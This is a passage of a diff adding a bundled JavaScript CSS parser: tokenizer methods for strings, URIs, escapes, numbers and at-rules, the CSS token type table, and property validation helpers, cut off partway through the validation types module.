+                case "#":
+                    if (isNameChar(reader.peek())) {
+                        token = this.hashToken(c, startLine, startCol);
+                    } else {
+                        token = this.charToken(c, startLine, startCol);
+                    }
+                    break;
+
+                /*
+                 * Potential tokens:
+                 * - DOT
+                 * - NUMBER
+                 * - DIMENSION
+                 * - PERCENTAGE
+                 */
+                case ".":
+                    if (isDigit(reader.peek())) {
+                        token = this.numberToken(c, startLine, startCol);
+                    } else {
+                        token = this.charToken(c, startLine, startCol);
+                    }
+                    break;
+
+                /*
+                 * Potential tokens:
+                 * - CDC
+                 * - MINUS
+                 * - NUMBER
+                 * - DIMENSION
+                 * - PERCENTAGE
+                 */
+                case "-":
+                    if (reader.peek() === "-") {  //could be closing HTML-style comment
+                        token = this.htmlCommentEndToken(c, startLine, startCol);
+                    } else if (isNameStart(reader.peek())) {
+                        token = this.identOrFunctionToken(c, startLine, startCol);
+                    } else {
+                        token = this.charToken(c, startLine, startCol);
+                    }
+                    break;
+
+                /*
+                 * Potential tokens:
+                 * - IMPORTANT_SYM
+                 * - CHAR
+                 */
+                case "!":
+                    token = this.importantToken(c, startLine, startCol);
+                    break;
+
+                /*
+                 * Any at-keyword or CHAR
+                 */
+                case "@":
+                    token = this.atRuleToken(c, startLine, startCol);
+                    break;
+
+                /*
+                 * Potential tokens:
+                 * - NOT
+                 * - CHAR
+                 */
+                case ":":
+                    token = this.notToken(c, startLine, startCol);
+                    break;
+
+                /*
+                 * Potential tokens:
+                 * - CDO
+                 * - CHAR
+                 */
+                case "<":
+                    token = this.htmlCommentStartToken(c, startLine, startCol);
+                    break;
+
+                /*
+                 * Potential tokens:
+                 * - IDENT
+                 * - CHAR
+                 */
+                case "\\":
+                    if (/[^\r\n\f]/.test(reader.peek())) {
+                        token = this.identOrFunctionToken(this.readEscape(c, true), startLine, startCol);
+                    } else {
+                        token = this.charToken(c, startLine, startCol);
+                    }
+                    break;
+
+                /*
+                 * Potential tokens:
+                 * - UNICODE_RANGE
+                 * - URL
+                 * - CHAR
+                 */
+                case "U":
+                case "u":
+                    if (reader.peek() === "+") {
+                        token = this.unicodeRangeToken(c, startLine, startCol);
+                        break;
+                    }
+                    /* falls through */
+                default:
+
+                    /*
+                     * Potential tokens:
+                     * - NUMBER
+                     * - DIMENSION
+                     * - LENGTH
+                     * - FREQ
+                     * - TIME
+                     * - EMS
+                     * - EXS
+                     * - ANGLE
+                     */
+                    if (isDigit(c)) {
+                        token = this.numberToken(c, startLine, startCol);
+                    } else
+
+                    /*
+                     * Potential tokens:
+                     * - S
+                     */
+                    if (isWhitespace(c)) {
+                        token = this.whitespaceToken(c, startLine, startCol);
+                    } else
+
+                    /*
+                     * Potential tokens:
+                     * - IDENT
+                     */
+                    if (isIdentStart(c)) {
+                        token = this.identOrFunctionToken(c, startLine, startCol);
+                    } else {
+                       /*
+                        * Potential tokens:
+                        * - CHAR
+                        * - PLUS
+                        */
+                        token = this.charToken(c, startLine, startCol);
+                    }
+
+            }
+
+            //make sure this token is wanted
+            //TODO: check channel
+            break;
+        }
+
+        if (!token && c === null) {
+            token = this.createToken(Tokens.EOF, null, startLine, startCol);
+        }
+
+        return token;
+    },
+
+    //-------------------------------------------------------------------------
+    // Methods to create tokens
+    //-------------------------------------------------------------------------
+
+    /**
+     * Produces a token based on available data and the current
+     * reader position information. This method is called by other
+     * private methods to create tokens and is never called directly.
+     * @param {int} tt The token type.
+     * @param {String} value The text value of the token.
+     * @param {int} startLine The beginning line for the character.
+     * @param {int} startCol The beginning column for the character.
+     * @param {Object} options (Optional) Specifies a channel property
+     *      to indicate that a different channel should be scanned
+     *      and/or a hide property indicating that the token should
+     *      be hidden.
+     * @return {Object} A token object.
+     * @method createToken
+     */
+    createToken: function(tt, value, startLine, startCol, options) {
+        var reader = this._reader;
+        options = options || {};
+
+        return {
+            value:      value,
+            type:       tt,
+            channel:    options.channel,
+            endChar:    options.endChar,
+            hide:       options.hide || false,
+            startLine:  startLine,
+            startCol:   startCol,
+            endLine:    reader.getLine(),
+            endCol:     reader.getCol()
+        };
+    },
+
+    //-------------------------------------------------------------------------
+    // Methods to create specific tokens
+    //-------------------------------------------------------------------------
+
+    /**
+     * Produces a token for any at-rule. If the at-rule is unknown, then
+     * the token is for a single "@" character.
+     * @param {String} first The first character for the token.
+     * @param {int} startLine The beginning line for the character.
+     * @param {int} startCol The beginning column for the character.
+     * @return {Object} A token object.
+     * @method atRuleToken
+     */
+    atRuleToken: function(first, startLine, startCol) {
+        var rule    = first,
+            reader  = this._reader,
+            tt      = Tokens.CHAR,
+            ident;
+
+        /*
+         * First, mark where we are. There are only four @ rules,
+         * so anything else is really just an invalid token.
+         * Basically, if this doesn't match one of the known @
+         * rules, just return '@' as an unknown token and allow
+         * parsing to continue after that point.
+         */
+        reader.mark();
+
+        //try to find the at-keyword
+        ident = this.readName();
+        rule = first + ident;
+        tt = Tokens.type(rule.toLowerCase());
+
+        //if it's not valid, use the first character only and reset the reader
+        if (tt === Tokens.CHAR || tt === Tokens.UNKNOWN) {
+            if (rule.length > 1) {
+                tt = Tokens.UNKNOWN_SYM;
+            } else {
+                tt = Tokens.CHAR;
+                rule = first;
+                reader.reset();
+            }
+        }
+
+        return this.createToken(tt, rule, startLine, startCol);
+    },
+
+    /**
+     * Produces a character token based on the given character
+     * and location in the stream. If there's a special (non-standard)
+     * token name, this is used; otherwise CHAR is used.
+     * @param {String} c The character for the token.
+     * @param {int} startLine The beginning line for the character.
+     * @param {int} startCol The beginning column for the character.
+     * @return {Object} A token object.
+     * @method charToken
+     */
+    charToken: function(c, startLine, startCol) {
+        var tt = Tokens.type(c);
+        var opts = {};
+
+        if (tt === -1) {
+            tt = Tokens.CHAR;
+        } else {
+            opts.endChar = Tokens[tt].endChar;
+        }
+
+        return this.createToken(tt, c, startLine, startCol, opts);
+    },
+
+    /**
+     * Produces a character token based on the given character
+     * and location in the stream. If there's a special (non-standard)
+     * token name, this is used; otherwise CHAR is used.
+     * @param {String} first The first character for the token.
+     * @param {int} startLine The beginning line for the character.
+     * @param {int} startCol The beginning column for the character.
+     * @return {Object} A token object.
+     * @method commentToken
+     */
+    commentToken: function(first, startLine, startCol) {
+        var comment = this.readComment(first);
+
+        return this.createToken(Tokens.COMMENT, comment, startLine, startCol);
+    },
+
+    /**
+     * Produces a comparison token based on the given character
+     * and location in the stream. The next character must be
+     * read and is already known to be an equals sign.
+     * @param {String} c The character for the token.
+     * @param {int} startLine The beginning line for the character.
+     * @param {int} startCol The beginning column for the character.
+     * @return {Object} A token object.
+     * @method comparisonToken
+     */
+    comparisonToken: function(c, startLine, startCol) {
+        var reader  = this._reader,
+            comparison  = c + reader.read(),
+            tt      = Tokens.type(comparison) || Tokens.CHAR;
+
+        return this.createToken(tt, comparison, startLine, startCol);
+    },
+
+    /**
+     * Produces a hash token based on the specified information. The
+     * first character provided is the pound sign (#) and then this
+     * method reads a name afterward.
+     * @param {String} first The first character (#) in the hash name.
+     * @param {int} startLine The beginning line for the character.
+     * @param {int} startCol The beginning column for the character.
+     * @return {Object} A token object.
+     * @method hashToken
+     */
+    hashToken: function(first, startLine, startCol) {
+        var name    = this.readName(first);
+
+        return this.createToken(Tokens.HASH, name, startLine, startCol);
+    },
+
+    /**
+     * Produces a CDO or CHAR token based on the specified information. The
+     * first character is provided and the rest is read by the function to determine
+     * the correct token to create.
+     * @param {String} first The first character in the token.
+     * @param {int} startLine The beginning line for the character.
+     * @param {int} startCol The beginning column for the character.
+     * @return {Object} A token object.
+     * @method htmlCommentStartToken
+     */
+    htmlCommentStartToken: function(first, startLine, startCol) {
+        var reader      = this._reader,
+            text        = first;
+
+        reader.mark();
+        text += reader.readCount(3);
+
+        if (text === "<!--") {
+            return this.createToken(Tokens.CDO, text, startLine, startCol);
+        } else {
+            reader.reset();
+            return this.charToken(first, startLine, startCol);
+        }
+    },
+
+    /**
+     * Produces a CDC or CHAR token based on the specified information. The
+     * first character is provided and the rest is read by the function to determine
+     * the correct token to create.
+     * @param {String} first The first character in the token.
+     * @param {int} startLine The beginning line for the character.
+     * @param {int} startCol The beginning column for the character.
+     * @return {Object} A token object.
+     * @method htmlCommentEndToken
+     */
+    htmlCommentEndToken: function(first, startLine, startCol) {
+        var reader      = this._reader,
+            text        = first;
+
+        reader.mark();
+        text += reader.readCount(2);
+
+        if (text === "-->") {
+            return this.createToken(Tokens.CDC, text, startLine, startCol);
+        } else {
+            reader.reset();
+            return this.charToken(first, startLine, startCol);
+        }
+    },
+
+    /**
+     * Produces an IDENT or FUNCTION token based on the specified information. The
+     * first character is provided and the rest is read by the function to determine
+     * the correct token to create.
+     * @param {String} first The first character in the identifier.
+     * @param {int} startLine The beginning line for the character.
+     * @param {int} startCol The beginning column for the character.
+     * @return {Object} A token object.
+     * @method identOrFunctionToken
+     */
+    identOrFunctionToken: function(first, startLine, startCol) {
+        var reader  = this._reader,
+            ident   = this.readName(first),
+            tt      = Tokens.IDENT,
+            uriFns  = ["url(", "url-prefix(", "domain("],
+            uri;
+
+        //if there's a left paren immediately after, it's a URI or function
+        if (reader.peek() === "(") {
+            ident += reader.read();
+            if (uriFns.indexOf(ident.toLowerCase()) > -1) {
+                reader.mark();
+                uri = this.readURI(ident);
+                if (uri === null) {
+                    //didn't find a valid URL or there's no closing paren
+                    reader.reset();
+                    tt = Tokens.FUNCTION;
+                } else {
+                    tt = Tokens.URI;
+                    ident = uri;
+                }
+            } else {
+                tt = Tokens.FUNCTION;
+            }
+        } else if (reader.peek() === ":") {  //might be an IE function
+
+            //IE-specific functions always being with progid:
+            if (ident.toLowerCase() === "progid") {
+                ident += reader.readTo("(");
+                tt = Tokens.IE_FUNCTION;
+            }
+        }
+
+        return this.createToken(tt, ident, startLine, startCol);
+    },
+
+    /**
+     * Produces an IMPORTANT_SYM or CHAR token based on the specified information. The
+     * first character is provided and the rest is read by the function to determine
+     * the correct token to create.
+     * @param {String} first The first character in the token.
+     * @param {int} startLine The beginning line for the character.
+     * @param {int} startCol The beginning column for the character.
+     * @return {Object} A token object.
+     * @method importantToken
+     */
+    importantToken: function(first, startLine, startCol) {
+        var reader      = this._reader,
+            important   = first,
+            tt          = Tokens.CHAR,
+            temp,
+            c;
+
+        reader.mark();
+        c = reader.read();
+
+        while (c) {
+
+            //there can be a comment in here
+            if (c === "/") {
+
+                //if the next character isn't a star, then this isn't a valid !important token
+                if (reader.peek() !== "*") {
+                    break;
+                } else {
+                    temp = this.readComment(c);
+                    if (temp === "") {    //broken!
+                        break;
+                    }
+                }
+            } else if (isWhitespace(c)) {
+                important += c + this.readWhitespace();
+            } else if (/i/i.test(c)) {
+                temp = reader.readCount(8);
+                if (/mportant/i.test(temp)) {
+                    important += c + temp;
+                    tt = Tokens.IMPORTANT_SYM;
+
+                }
+                break;  //we're done
+            } else {
+                break;
+            }
+
+            c = reader.read();
+        }
+
+        if (tt === Tokens.CHAR) {
+            reader.reset();
+            return this.charToken(first, startLine, startCol);
+        } else {
+            return this.createToken(tt, important, startLine, startCol);
+        }
+
+
+    },
+
+    /**
+     * Produces a NOT or CHAR token based on the specified information. The
+     * first character is provided and the rest is read by the function to determine
+     * the correct token to create.
+     * @param {String} first The first character in the token.
+     * @param {int} startLine The beginning line for the character.
+     * @param {int} startCol The beginning column for the character.
+     * @return {Object} A token object.
+     * @method notToken
+     */
+    notToken: function(first, startLine, startCol) {
+        var reader      = this._reader,
+            text        = first;
+
+        reader.mark();
+        text += reader.readCount(4);
+
+        if (text.toLowerCase() === ":not(") {
+            return this.createToken(Tokens.NOT, text, startLine, startCol);
+        } else {
+            reader.reset();
+            return this.charToken(first, startLine, startCol);
+        }
+    },
+
+    /**
+     * Produces a number token based on the given character
+     * and location in the stream. This may return a token of
+     * NUMBER, EMS, EXS, LENGTH, ANGLE, TIME, FREQ, DIMENSION,
+     * or PERCENTAGE.
+     * @param {String} first The first character for the token.
+     * @param {int} startLine The beginning line for the character.
+     * @param {int} startCol The beginning column for the character.
+     * @return {Object} A token object.
+     * @method numberToken
+     */
+    numberToken: function(first, startLine, startCol) {
+        var reader  = this._reader,
+            value   = this.readNumber(first),
+            ident,
+            tt      = Tokens.NUMBER,
+            c       = reader.peek();
+
+        if (isIdentStart(c)) {
+            ident = this.readName(reader.read());
+            value += ident;
+
+            if (/^em$|^ex$|^px$|^gd$|^rem$|^vw$|^vh$|^vmax$|^vmin$|^ch$|^cm$|^mm$|^in$|^pt$|^pc$/i.test(ident)) {
+                tt = Tokens.LENGTH;
+            } else if (/^deg|^rad$|^grad$|^turn$/i.test(ident)) {
+                tt = Tokens.ANGLE;
+            } else if (/^ms$|^s$/i.test(ident)) {
+                tt = Tokens.TIME;
+            } else if (/^hz$|^khz$/i.test(ident)) {
+                tt = Tokens.FREQ;
+            } else if (/^dpi$|^dpcm$/i.test(ident)) {
+                tt = Tokens.RESOLUTION;
+            } else {
+                tt = Tokens.DIMENSION;
+            }
+
+        } else if (c === "%") {
+            value += reader.read();
+            tt = Tokens.PERCENTAGE;
+        }
+
+        return this.createToken(tt, value, startLine, startCol);
+    },
+
+    /**
+     * Produces a string token based on the given character
+     * and location in the stream. Since strings may be indicated
+     * by single or double quotes, a failure to match starting
+     * and ending quotes results in an INVALID token being generated.
+     * The first character in the string is passed in and then
+     * the rest are read up to and including the final quotation mark.
+     * @param {String} first The first character in the string.
+     * @param {int} startLine The beginning line for the character.
+     * @param {int} startCol The beginning column for the character.
+     * @return {Object} A token object.
+     * @method stringToken
+     */
+    stringToken: function(first, startLine, startCol) {
+        var delim   = first,
+            string  = first,
+            reader  = this._reader,
+            tt      = Tokens.STRING,
+            c       = reader.read(),
+            i;
+
+        while (c) {
+            string += c;
+
+            if (c === "\\") {
+                c = reader.read();
+                if (c === null) {
+                    break; // premature EOF after backslash
+                } else if (/[^\r\n\f0-9a-f]/i.test(c)) {
+                    // single-character escape
+                    string += c;
+                } else {
+                    // read up to six hex digits
+                    for (i=0; isHexDigit(c) && i<6; i++) {
+                        string += c;
+                        c = reader.read();
+                    }
+                    // swallow trailing newline or space
+                    if (c === "\r" && reader.peek() === "\n") {
+                        string += c;
+                        c = reader.read();
+                    }
+                    if (isWhitespace(c)) {
+                        string += c;
+                    } else {
+                        // This character is null or not part of the escape;
+                        // jump back to the top to process it.
+                        continue;
+                    }
+                }
+            } else if (c === delim) {
+                break; // delimiter found.
+            } else if (isNewLine(reader.peek())) {
+                // newline without an escapement: it's an invalid string
+                tt = Tokens.INVALID;
+                break;
+            }
+            c = reader.read();
+        }
+
+        //if c is null, that means we're out of input and the string was never closed
+        if (c === null) {
+            tt = Tokens.INVALID;
+        }
+
+        return this.createToken(tt, string, startLine, startCol);
+    },
+
+    unicodeRangeToken: function(first, startLine, startCol) {
+        var reader  = this._reader,
+            value   = first,
+            temp,
+            tt      = Tokens.CHAR;
+
+        //then it should be a unicode range
+        if (reader.peek() === "+") {
+            reader.mark();
+            value += reader.read();
+            value += this.readUnicodeRangePart(true);
+
+            //ensure there's an actual unicode range here
+            if (value.length === 2) {
+                reader.reset();
+            } else {
+
+                tt = Tokens.UNICODE_RANGE;
+
+                //if there's a ? in the first part, there can't be a second part
+                if (value.indexOf("?") === -1) {
+
+                    if (reader.peek() === "-") {
+                        reader.mark();
+                        temp = reader.read();
+                        temp += this.readUnicodeRangePart(false);
+
+                        //if there's not another value, back up and just take the first
+                        if (temp.length === 1) {
+                            reader.reset();
+                        } else {
+                            value += temp;
+                        }
+                    }
+
+                }
+            }
+        }
+
+        return this.createToken(tt, value, startLine, startCol);
+    },
+
+    /**
+     * Produces a S token based on the specified information. Since whitespace
+     * may have multiple characters, this consumes all whitespace characters
+     * into a single token.
+     * @param {String} first The first character in the token.
+     * @param {int} startLine The beginning line for the character.
+     * @param {int} startCol The beginning column for the character.
+     * @return {Object} A token object.
+     * @method whitespaceToken
+     */
+    whitespaceToken: function(first, startLine, startCol) {
+        var value   = first + this.readWhitespace();
+        return this.createToken(Tokens.S, value, startLine, startCol);
+    },
+
+
+    //-------------------------------------------------------------------------
+    // Methods to read values from the string stream
+    //-------------------------------------------------------------------------
+
+    readUnicodeRangePart: function(allowQuestionMark) {
+        var reader  = this._reader,
+            part = "",
+            c       = reader.peek();
+
+        //first read hex digits
+        while (isHexDigit(c) && part.length < 6) {
+            reader.read();
+            part += c;
+            c = reader.peek();
+        }
+
+        //then read question marks if allowed
+        if (allowQuestionMark) {
+            while (c === "?" && part.length < 6) {
+                reader.read();
+                part += c;
+                c = reader.peek();
+            }
+        }
+
+        //there can't be any other characters after this point
+
+        return part;
+    },
+
+    readWhitespace: function() {
+        var reader  = this._reader,
+            whitespace = "",
+            c       = reader.peek();
+
+        while (isWhitespace(c)) {
+            reader.read();
+            whitespace += c;
+            c = reader.peek();
+        }
+
+        return whitespace;
+    },
+    readNumber: function(first) {
+        var reader  = this._reader,
+            number  = first,
+            hasDot  = (first === "."),
+            c       = reader.peek();
+
+
+        while (c) {
+            if (isDigit(c)) {
+                number += reader.read();
+            } else if (c === ".") {
+                if (hasDot) {
+                    break;
+                } else {
+                    hasDot = true;
+                    number += reader.read();
+                }
+            } else {
+                break;
+            }
+
+            c = reader.peek();
+        }
+
+        return number;
+    },
+
+    // returns null w/o resetting reader if string is invalid.
+    readString: function() {
+        var token = this.stringToken(this._reader.read(), 0, 0);
+        return token.type === Tokens.INVALID ? null : token.value;
+    },
+
+    // returns null w/o resetting reader if URI is invalid.
+    readURI: function(first) {
+        var reader  = this._reader,
+            uri     = first,
+            inner   = "",
+            c       = reader.peek();
+
+        //skip whitespace before
+        while (c && isWhitespace(c)) {
+            reader.read();
+            c = reader.peek();
+        }
+
+        //it's a string
+        if (c === "'" || c === "\"") {
+            inner = this.readString();
+            if (inner !== null) {
+                inner = PropertyValuePart.parseString(inner);
+            }
+        } else {
+            inner = this.readUnquotedURL();
+        }
+
+        c = reader.peek();
+
+        //skip whitespace after
+        while (c && isWhitespace(c)) {
+            reader.read();
+            c = reader.peek();
+        }
+
+        //if there was no inner value or the next character isn't closing paren, it's not a URI
+        if (inner === null || c !== ")") {
+            uri = null;
+        } else {
+            // Ensure argument to URL is always double-quoted
+            // (This simplifies later processing in PropertyValuePart.)
+            uri += PropertyValuePart.serializeString(inner) + reader.read();
+        }
+
+        return uri;
+    },
+    // This method never fails, although it may return an empty string.
+    readUnquotedURL: function(first) {
+        var reader  = this._reader,
+            url     = first || "",
+            c;
+
+        for (c = reader.peek(); c; c = reader.peek()) {
+            // Note that the grammar at
+            // https://www.w3.org/TR/CSS2/grammar.html#scanner
+            // incorrectly includes the backslash character in the
+            // `url` production, although it is correctly omitted in
+            // the `baduri1` production.
+            if (nonascii.test(c) || /^[\-!#$%&*-\[\]-~]$/.test(c)) {
+                url += c;
+                reader.read();
+            } else if (c === "\\") {
+                if (/^[^\r\n\f]$/.test(reader.peek(2))) {
+                    url += this.readEscape(reader.read(), true);
+                } else {
+                    break; // bad escape sequence.
+                }
+            } else {
+                break; // bad character
+            }
+        }
+
+        return url;
+    },
+
+    readName: function(first) {
+        var reader  = this._reader,
+            ident   = first || "",
+            c;
+
+        for (c = reader.peek(); c; c = reader.peek()) {
+            if (c === "\\") {
+                if (/^[^\r\n\f]$/.test(reader.peek(2))) {
+                    ident += this.readEscape(reader.read(), true);
+                } else {
+                    // Bad escape sequence.
+                    break;
+                }
+            } else if (isNameChar(c)) {
+                ident += reader.read();
+            } else {
+                break;
+            }
+        }
+
+        return ident;
+    },
+
+    readEscape: function(first, unescape) {
+        var reader  = this._reader,
+            cssEscape = first || "",
+            i       = 0,
+            c       = reader.peek();
+
+        if (isHexDigit(c)) {
+            do {
+                cssEscape += reader.read();
+                c = reader.peek();
+            } while (c && isHexDigit(c) && ++i < 6);
+        }
+
+        if (cssEscape.length === 1) {
+            if (/^[^\r\n\f0-9a-f]$/.test(c)) {
+                reader.read();
+                if (unescape) {
+                    return c;
+                }
+            } else {
+                // We should never get here (readName won't call readEscape
+                // if the escape sequence is bad).
+                throw new Error("Bad escape sequence.");
+            }
+        } else if (c === "\r") {
+            reader.read();
+            if (reader.peek() === "\n") {
+                c += reader.read();
+            }
+        } else if (/^[ \t\n\f]$/.test(c)) {
+            reader.read();
+        } else {
+            c = "";
+        }
+
+        if (unescape) {
+            var cp = parseInt(cssEscape.slice(first.length), 16);
+            return String.fromCodePoint ? String.fromCodePoint(cp) :
+                String.fromCharCode(cp);
+        }
+        return cssEscape + c;
+    },
+
+    readComment: function(first) {
+        var reader  = this._reader,
+            comment = first || "",
+            c       = reader.read();
+
+        if (c === "*") {
+            while (c) {
+                comment += c;
+
+                //look for end of comment
+                if (comment.length > 2 && c === "*" && reader.peek() === "/") {
+                    comment += reader.read();
+                    break;
+                }
+
+                c = reader.read();
+            }
+
+            return comment;
+        } else {
+            return "";
+        }
+
+    }
+});
+
+},{"../util/TokenStreamBase":27,"./PropertyValuePart":11,"./Tokens":18}],18:[function(require,module,exports){
+"use strict";
+
+var Tokens = module.exports = [
+
+    /*
+     * The following token names are defined in CSS3 Grammar: https://www.w3.org/TR/css3-syntax/#lexical
+     */
+
+    // HTML-style comments
+    { name: "CDO" },
+    { name: "CDC" },
+
+    // ignorables
+    { name: "S", whitespace: true/*, channel: "ws"*/ },
+    { name: "COMMENT", comment: true, hide: true, channel: "comment" },
+
+    // attribute equality
+    { name: "INCLUDES", text: "~=" },
+    { name: "DASHMATCH", text: "|=" },
+    { name: "PREFIXMATCH", text: "^=" },
+    { name: "SUFFIXMATCH", text: "$=" },
+    { name: "SUBSTRINGMATCH", text: "*=" },
+
+    // identifier types
+    { name: "STRING" },
+    { name: "IDENT" },
+    { name: "HASH" },
+
+    // at-keywords
+    { name: "IMPORT_SYM", text: "@import" },
+    { name: "PAGE_SYM", text: "@page" },
+    { name: "MEDIA_SYM", text: "@media" },
+    { name: "FONT_FACE_SYM", text: "@font-face" },
+    { name: "CHARSET_SYM", text: "@charset" },
+    { name: "NAMESPACE_SYM", text: "@namespace" },
+    { name: "SUPPORTS_SYM", text: "@supports" },
+    { name: "VIEWPORT_SYM", text: ["@viewport", "@-ms-viewport", "@-o-viewport"] },
+    { name: "DOCUMENT_SYM", text: ["@document", "@-moz-document"] },
+    { name: "UNKNOWN_SYM" },
+    //{ name: "ATKEYWORD"},
+
+    // CSS3 animations
+    { name: "KEYFRAMES_SYM", text: [ "@keyframes", "@-webkit-keyframes", "@-moz-keyframes", "@-o-keyframes" ] },
+
+    // important symbol
+    { name: "IMPORTANT_SYM" },
+
+    // measurements
+    { name: "LENGTH" },
+    { name: "ANGLE" },
+    { name: "TIME" },
+    { name: "FREQ" },
+    { name: "DIMENSION" },
+    { name: "PERCENTAGE" },
+    { name: "NUMBER" },
+
+    // functions
+    { name: "URI" },
+    { name: "FUNCTION" },
+
+    // Unicode ranges
+    { name: "UNICODE_RANGE" },
+
+    /*
+     * The following token names are defined in CSS3 Selectors: https://www.w3.org/TR/css3-selectors/#selector-syntax
+     */
+
+    // invalid string
+    { name: "INVALID" },
+
+    // combinators
+    { name: "PLUS", text: "+" },
+    { name: "GREATER", text: ">" },
+    { name: "COMMA", text: "," },
+    { name: "TILDE", text: "~" },
+
+    // modifier
+    { name: "NOT" },
+
+    /*
+     * Defined in CSS3 Paged Media
+     */
+    { name: "TOPLEFTCORNER_SYM", text: "@top-left-corner" },
+    { name: "TOPLEFT_SYM", text: "@top-left" },
+    { name: "TOPCENTER_SYM", text: "@top-center" },
+    { name: "TOPRIGHT_SYM", text: "@top-right" },
+    { name: "TOPRIGHTCORNER_SYM", text: "@top-right-corner" },
+    { name: "BOTTOMLEFTCORNER_SYM", text: "@bottom-left-corner" },
+    { name: "BOTTOMLEFT_SYM", text: "@bottom-left" },
+    { name: "BOTTOMCENTER_SYM", text: "@bottom-center" },
+    { name: "BOTTOMRIGHT_SYM", text: "@bottom-right" },
+    { name: "BOTTOMRIGHTCORNER_SYM", text: "@bottom-right-corner" },
+    { name: "LEFTTOP_SYM", text: "@left-top" },
+    { name: "LEFTMIDDLE_SYM", text: "@left-middle" },
+    { name: "LEFTBOTTOM_SYM", text: "@left-bottom" },
+    { name: "RIGHTTOP_SYM", text: "@right-top" },
+    { name: "RIGHTMIDDLE_SYM", text: "@right-middle" },
+    { name: "RIGHTBOTTOM_SYM", text: "@right-bottom" },
+
+    /*
+     * The following token names are defined in CSS3 Media Queries: https://www.w3.org/TR/css3-mediaqueries/#syntax
+     */
+    /*{ name: "MEDIA_ONLY", state: "media"},
+    { name: "MEDIA_NOT", state: "media"},
+    { name: "MEDIA_AND", state: "media"},*/
+    { name: "RESOLUTION", state: "media" },
+
+    /*
+     * The following token names are not defined in any CSS specification but are used by the lexer.
+     */
+
+    // not a real token, but useful for stupid IE filters
+    { name: "IE_FUNCTION" },
+
+    // part of CSS3 grammar but not the Flex code
+    { name: "CHAR" },
+
+    // TODO: Needed?
+    // Not defined as tokens, but might as well be
+    {
+        name: "PIPE",
+        text: "|"
+    },
+    {
+        name: "SLASH",
+        text: "/"
+    },
+    {
+        name: "MINUS",
+        text: "-"
+    },
+    {
+        name: "STAR",
+        text: "*"
+    },
+
+    {
+        name: "LBRACE",
+        endChar: "}",
+        text: "{"
+    },
+    {
+        name: "RBRACE",
+        text: "}"
+    },
+    {
+        name: "LBRACKET",
+        endChar: "]",
+        text: "["
+    },
+    {
+        name: "RBRACKET",
+        text: "]"
+    },
+    {
+        name: "EQUALS",
+        text: "="
+    },
+    {
+        name: "COLON",
+        text: ":"
+    },
+    {
+        name: "SEMICOLON",
+        text: ";"
+    },
+    {
+        name: "LPAREN",
+        endChar: ")",
+        text: "("
+    },
+    {
+        name: "RPAREN",
+        text: ")"
+    },
+    {
+        name: "DOT",
+        text: "."
+    }
+];
+
+(function() {
+    var nameMap = [],
+        typeMap = Object.create(null);
+
+    Tokens.UNKNOWN = -1;
+    Tokens.unshift({ name:"EOF" });
+    for (var i=0, len = Tokens.length; i < len; i++) {
+        nameMap.push(Tokens[i].name);
+        Tokens[Tokens[i].name] = i;
+        if (Tokens[i].text) {
+            if (Tokens[i].text instanceof Array) {
+                for (var j=0; j < Tokens[i].text.length; j++) {
+                    typeMap[Tokens[i].text[j]] = i;
+                }
+            } else {
+                typeMap[Tokens[i].text] = i;
+            }
+        }
+    }
+
+    Tokens.name = function(tt) {
+        return nameMap[tt];
+    };
+
+    Tokens.type = function(c) {
+        return typeMap[c] || -1;
+    };
+})();
+
+},{}],19:[function(require,module,exports){
+"use strict";
+
+/* exported Validation */
+
+var Matcher = require("./Matcher");
+var Properties = require("./Properties");
+var ValidationTypes = require("./ValidationTypes");
+var ValidationError = require("./ValidationError");
+var PropertyValueIterator = require("./PropertyValueIterator");
+
+var Validation = module.exports = {
+
+    validate: function(property, value) {
+
+        //normalize name
+        var name        = property.toString().toLowerCase(),
+            expression  = new PropertyValueIterator(value),
+            spec        = Properties[name],
+            part;
+
+        if (!spec) {
+            if (name.indexOf("-") !== 0) {    //vendor prefixed are ok
+                throw new ValidationError("Unknown property '" + property + "'.", property.line, property.col);
+            }
+        } else if (typeof spec !== "number") {
+
+            // All properties accept some CSS-wide values.
+            // https://drafts.csswg.org/css-values-3/#common-keywords
+            if (ValidationTypes.isAny(expression, "inherit | initial | unset")) {
+                if (expression.hasNext()) {
+                    part = expression.next();
+                    throw new ValidationError("Expected end of value but found '" + part + "'.", part.line, part.col);
+                }
+                return;
+            }
+
+            // Property-specific validation.
+            this.singleProperty(spec, expression);
+
+        }
+
+    },
+
+    singleProperty: function(types, expression) {
+
+        var result      = false,
+            value       = expression.value,
+            part;
+
+        result = Matcher.parse(types).match(expression);
+
+        if (!result) {
+            if (expression.hasNext() && !expression.isFirst()) {
+                part = expression.peek();
+                throw new ValidationError("Expected end of value but found '" + part + "'.", part.line, part.col);
+            } else {
+                throw new ValidationError("Expected (" + ValidationTypes.describe(types) + ") but found '" + value + "'.", value.line, value.col);
+            }
+        } else if (expression.hasNext()) {
+            part = expression.next();
+            throw new ValidationError("Expected end of value but found '" + part + "'.", part.line, part.col);
+        }
+
+    }
+
+};
+
+},{"./Matcher":3,"./Properties":7,"./PropertyValueIterator":10,"./ValidationError":20,"./ValidationTypes":21}],20:[function(require,module,exports){
+"use strict";
+
+module.exports = ValidationError;
+
+/**
+ * Type to use when a validation error occurs.
+ * @class ValidationError
+ * @namespace parserlib.util
+ * @constructor
+ * @param {String} message The error message.
+ * @param {int} line The line at which the error occurred.
+ * @param {int} col The column at which the error occurred.
+ */
+function ValidationError(message, line, col) {
+
+    /**
+     * The column at which the error occurred.
+     * @type int
+     * @property col
+     */
+    this.col = col;
+
+    /**
+     * The line at which the error occurred.
+     * @type int
+     * @property line
+     */
+    this.line = line;
+
+    /**
+     * The text representation of the unit.
+     * @type String
+     * @property text
+     */
+    this.message = message;
+
+}
+
+//inherit from Error
+ValidationError.prototype = new Error();
+
+},{}],21:[function(require,module,exports){
+"use strict";
+
+var ValidationTypes = module.exports;
+
+var Matcher = require("./Matcher");
+
+function copy(to, from) {
+    Object.keys(from).forEach(function(prop) {
+        to[prop] = from[prop];
+    });
+}
+copy(ValidationTypes, {
+
+    isLiteral: function (part, literals) {
+        var text = part.text.toString().toLowerCase(),
+            args = literals.split(" | "),
+            i, len, found = false;
+
+        for (i=0, len=args.length; i < len && !found; i++) {
+            if (args[i].charAt(0) === "<") {
+                found = this.simple[args[i]](part);
+            } else if (args[i].slice(-2) === "()") {
+                found = (part.type === "function" &&
+                         part.name === args[i].slice(0, -2));
+            } else if (text === args[i].toLowerCase()) {
+                found = true;
+            }
+        }
+
+        return found;
+    },
+
+    isSimple: function(type) {
+        return Boolean(this.simple[type]);
+    },
+
+    isComplex: function(type) {
+        return Boolean(this.complex[type]);
+    },
+
+    describe: function(type) {
